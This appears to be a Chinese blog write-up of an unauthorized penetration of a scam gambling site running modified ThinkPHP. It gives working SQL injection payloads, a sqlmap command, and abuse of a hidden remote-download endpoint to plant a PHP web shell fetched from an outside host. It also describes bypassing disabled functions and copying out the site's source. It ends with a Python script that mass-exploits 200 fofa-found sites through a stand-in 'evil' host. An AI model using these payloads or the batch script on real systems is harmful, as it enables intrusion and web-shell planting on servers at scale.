“杀猪盘”渗透实战

  • A+
所属分类:安全文章

某天正在翻阅学习资料时,突然收到一条短信,用火星文写着&%¥#@注册送888!!&%¥#@业界最高反水火爆全网:戳XXX.com

我立刻放下学习资料,很快啊。

打开电脑访问首页,标题上来就是腾讯pc,一般这种杀猪盘都喜欢用这些大企业的名号来忽悠,虽然腾讯确实忽悠......

“杀猪盘”渗透实战

在url后随便打几个字符,出现了报错,可以看出应该是thinkphp魔改来的。

“杀猪盘”渗透实战

直接搜索公开的thinkphp3的payload打一波:

index.php?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1


一波打完都不太行,开始翻网站有哪些功能。

在充值界面看到有三种支付方式:

“杀猪盘”渗透实战

既然是腾讯pc,那就点一个支付宝吧

“杀猪盘”渗透实战

看到有传参,先加个单引号双引号试试,结果幸福来得那么突然

“杀猪盘”渗透实战

构造payload

//获取数据库名:?id=1" or extractvalue(0x0a,concat(0x0a,(select database()))) = "1
//获取表名:?id=1" or extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) = "1
//获取admins表的列名:?id=1" or extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E73))) = "1
注:0x61646D696E73为admins的十六进制,mysql在执行语句时会自动解十六进制,在引号不方便用时,可以使用十六进制绕过。这里报错显示的长度是有限制的,获取不全,可以通过substr的方式,每次截取一段,最后再拼接。

直接上sqlmap也是可以的:

sqlmap -u "http://1.1.1.1/Home/Change/AlipayInfo/?id=1" -p id --random-agent --technique=E --cookie="PHPSESSID=11111" --dbs


在从admins表中拿username和password时:

payload:

?id=1" orextractvalue(0x0a,concat(0x0a,(select username,password fromadmins limit 0,1))) = "1

突然不报错了,

但是输入:

?id=1" orextractvalue(0x0a,concat(0x0a,(select 123))) = "1

就会报错打印出123,还以为是出现了幻觉了。后来不得已用sqlmap跑了一下,发现原来是因为admins表是空的。实际的用户名密码不在这个表。

接着在dump user表时看到了admin用户,结果在前台登录发现是客服。现在客服都这么奔放了“杀猪盘”渗透实战“杀猪盘”渗透实战“杀猪盘”渗透实战

“杀猪盘”渗透实战


目前,虽然可以注入拿数据了,但是我们的最终目的是获取shell,在网站发现有图像上传功能,但是上传之后并不知道图片的路径,访问图片会直接下载,不能解析。

所以还是需要找一下网站后台,一般后台比较容易找到上传,编辑等容易拿shell的功能点。


首先爆破一下网站的后台:

不存在时,网站不返回404,而是直接返回200,显示首页,导致全是误报。

“杀猪盘”渗透实战

可以使用7kbscan,设置只匹配302和40x的响应:

“杀猪盘”渗透实战

找到了后台地址为

/houtailogin

“杀猪盘”渗透实战

然而在数据库翻找了半天也没找到admin的用户密码在哪...,有可能权限限制的比较好,当前sql用户拿不到那个表。

于是想到sql注入这里是不是可以尝试一下直接拿shell,再检测一波,发现还真存在stack注入:

“杀猪盘”渗透实战

直接--os-shell没有成功,尝试了几遍都不行,应该不是网络问题,估计是权限不够。

“杀猪盘”渗透实战

没有办法只能继续啃了,数据库这里实在是翻不到后台密码。

只能再从网站其他功能入手,祭出目录扫描,扫一下网站还有哪些目录,同样的,所有目录都是200,没办法只能过滤掉200,找找有没有因为参数错误而404的目录:

“杀猪盘”渗透实战

自定义错位为404 | 错误,幸运的扫描出一个隐藏功能:put_file_url

“杀猪盘”渗透实战

这一看就不太对劲,给他传参数

“杀猪盘”渗透实战

继续传:

“杀猪盘”渗透实战

这几个功能加起来,看起来应该是个远程文件下载功能

尝试一下:

http://1.1.1.1/Home/index/put_file_url/?url=123&savename=1.php&path=

访问:

http://1.1.1.1/1.php

“杀猪盘”渗透实战

这不就直接getshell了......

在vps上写一个php一句话木马;

“杀猪盘”渗透实战

payload:

http://1.1.1.1/Home/index/put_file_url/?url=http://1.1.1.1/1.txt&savename=1.php&path=


“杀猪盘”渗透实战

网站管理员防范意识还是很强的,该禁的函数都禁差不多了


“杀猪盘”渗透实战

尝试用蚁剑连接:

“杀猪盘”渗透实战

果然没办法执行命令

使用蚁剑的插件bypass一下:

“杀猪盘”渗透实战

“杀猪盘”渗透实战

已经能够执行命令了,用户权限为www权限。

直接ifconfig没有执行,可以/sbin/ifconfig执行,查看一下ip

“杀猪盘”渗透实战


目标没有内网环境,应该就是一台云主机,就没有继续提权内网的必要了

但是可以把源码脱下来,继续分析

命令:

tar -zcvf archive_name.tar.gz directory_to_compress


“杀猪盘”渗透实战

在projectHomeControllerIndexController.class.php文件中可以看到putfileurl函数就是将远程文件直接下载到本地,导致能够直接getshell

public function put_file_url ($url, $savename,$path){    $url = trim($url);    $curl = curl_init();    curl_setopt($curl, CURLOPT_URL, $url);    curl_setopt($curl, CURLOPT_HEADER, 0);    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);    $file  = curl_exec($curl);    curl_close($curl);    $filename = $path . $savename;    $write = @fopen($filename, 'w');        if ($write == false) {                    return false;    }    if (fwrite($write, $file) == false) {                return false;        }    if (fclose($write) == false) {        return false;        }}

在projectHomeControllerChangeController.class.php目录下,直接将参数拼接到sql语句中,导致产生了sql注入漏洞,同样的漏洞还有很多,在之后再慢慢进行分析。

import requestsimport timeurls = open("urls-tp3.txt",'r').readlines()
for url in urls:    url = url.strip()try:     print("[+] test on :", url)        tmpurl = url + "/Home/index/put_file_url?url=http://evil/1.txt"    data = {"savename":"404.php","path":""}    res = requests.post(url = tmpurl,timeout = 5,verify = False,data = data)    if res.status_code == 200:     print("200 ok")     print(tmpurl,"t" ,res.status_code)     print()    else:     print("not 200 ")except:    print(".")

既然知道了有这么简单地getshell的方法,我们可以用fofa来批量尝试一下。

fofa搜索:

“杀猪盘”渗透实战

这里有一个小工具可以使用一下:

https://github.com/jayus0821/fofa-j/blob/main/fofa-j.py

利用了fofa的一个cookie参数,扩大了免费用户的查看数量


“杀猪盘”渗透实战


接下来编写脚本批量扫描一波:

import requests import time urls = open ( "urls-tp3.txt" , 'r' ). readlines () for url in urls :    url = url . strip ()    try :         print("[+] test on :", url)         tmpurl = url + "/Home/index/put_file_url?url=http://evil/1.txt"         data = { "savename" : "404.php" , "path" : "" }         res = requests.post(url = tmpurl, timeout = 5, verify = False, data = data)         if res.status_code == 200 :             print( "200 ok" )             print( tmpurl , "t" , res.status_code )             print()         else :             print( "not 200 " )     except :         print( "." )

200个目标中,最终发现有5个站点存在远程文件下载,一键getshell

同样也可以批量测试一下sql注入漏洞,这里就先不测试了。

这里推荐一下pocsuite工具,pocsuite是由知道创宇404实验室打造的一款开源的远程漏洞测试框架    

详细可以查看:

https://pocsuite.org/

这里因为比较简单,数量少,就自己写脚本批量扫了。

“杀猪盘”渗透实战

本文始发于微信公众号(IDLab):“杀猪盘”渗透实战

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: